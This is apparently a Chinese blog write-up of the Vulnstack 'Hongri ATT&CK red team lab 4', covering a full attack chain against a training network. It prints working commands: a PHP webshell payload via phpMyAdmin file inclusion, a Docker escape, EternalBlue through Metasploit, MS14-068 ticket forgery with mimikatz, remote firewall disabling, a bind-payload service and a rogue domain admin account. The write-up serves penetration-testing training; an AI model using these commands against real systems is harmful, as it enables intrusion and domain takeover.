红日ATT&CK红队实战(四)

项目拓扑

项目搭建


项目地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

将如下4个容器启动即可。

外网打点


端口扫描

Struts2框架漏洞

首先来看2001端口,发现是一个文件上传,分析编程语言,发现是java,尝试直接上传,失败。

查看页面源代码,发现标题名称,搜索以下相关漏洞,但是不知道具体是哪个版本的,所以下载个工具扫描一下

# 编译为可执行文件
go build

# 使用方法
./ST2G --url http://192.168.3.227:2001/ --mode exec --vn 45 --cmd "whoami"

可以运行反弹 shell 命令获取 shell

CVE-2017-12615

参考:https://paper.seebug.org/1677/

接下来看看2002端口,准备尝试看一下401认证是否存在弱口令,但是拒绝访问,直接所有相关版本漏洞。

这里直接上传是失败的,需要进行绕过,通过尝试,这里使用 / 是可以绕过的

使用冰蝎成功连接。

组合拳漏洞(phpmyadmin未授权 + CVE-2018-12613)

最后再来看看2003端口,发现直接是一个未授权访问,但是我们还需要获取getshell,再来看看有其他可以利用的漏洞吗

参考:https://www.exploit-db.com/exploits/44928

payload:http://192.168.3.227:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

查询语句,会保存到/tmp目录下的session文件种,包含对应的session文件,成功获取到webshell。

select '<?php file_put_contents("shell.php","<?php @eval($_POST[cmd])?>");?>';

查看当前权限,发现是root,查看ifconfig,但是没有这个命令,而且是以/bin/sh运行的

查看根目录,发现存在.dockerenv文件,所以当前处于docker环境中。

容器逃逸

尝试docker逃逸,成功逃逸到宿主机

mkdir /test
mount /dev/sda1 /test

现在虽然成功逃逸到宿主机,但是不好操作,尝试通过ssh连接获取到权限。

成功获取到ubuntu用户密码

权限还是ubuntu用户,但是可以直接使用sudo,sudo -s即可提升为root权限。

内网渗透


查看IP地址信息,存在双网卡192.168.3.227,192.168.183.128,尝试扫描一下192.168.183.0/24是否有其他主机存活。

发现如下信息

192.168.183.129  Windows 7  MS17-010
192.168.183.130  Windows Server 2008  MS17-010  demo.com

上线msfconsole

搭建frp隧道

[common]
bind_port = 7000
[common]
server_addr = 192.168.3.171
server_port = 7000

[socks5_proxy]
type = tcp
remote_port = 1081
plugin = socks5

使用永恒之蓝进行攻击,第一次失败了,再试了一下,成功获取到session

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
setg proxies socks5:127.0.0.1:1081
set rhosts 192.168.183.129

迁移进程,以免后门被终止掉。

尝试攻击第二台主机,但是失败了。

查看ubuntu那台主机的历史命令记录,发现了域用户douser和密码Dotest123

开启3389端口,尝试远程桌面登陆域用户,但是无法登陆

# 注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

# 使用msf模块开启3389端口
run post/windows/manage/enable_rdp

切换shell命令行,来到douser用户桌面目录下,有mimikatz,直接使用来抓取域用户的SID

MS14-068获取域控权限


MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

未添加票据时,无法访问域控的C盘

dir \\WIN-ENS2VR5TR3N\c$

添加票据

privilege::debug
kerberos::purge  # 清除票据
kerberos::ptc TGT_douser@demo.com.ccache  # 注入伪造的票据

此时,已经可以访问到域控

关闭防火墙

netsh sdvfirewall set allprofiles state off

思路:尝试使用psexec来获取域控的cmd会话,从而添加一个新的域管理员用户,开启3389即可登陆,但是这里无法获取到域控的cmd会话。

换一种方法,生成正向攻击载荷,通过WIN7上传到域控的C盘

copy b.exe \\WIN-ENS2VR5TR3N\c$

# 关闭域控的防火墙
sc \\WIN-ENS2VR5TR3N create disablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start disablefirewall

sc \\WIN-ENS2VR5TR3N create bind binpath= "c:\b.exe"
sc \\WIN-ENS2VR5TR3N start bind

监听获取到域控的session

net user test abc123! /add /domain  # 添加test用户
net group "domain admins" test /add /domain  # 把 test 用户添加进域管理员组
net group "domain admins" /domain  # 查看域管理员

开启域控的3389端口,使用新创建的域管理员用户成功登陆。

posted @ 2023-05-28 19:14  Axion11  阅读(87)  评论(0)    收藏  举报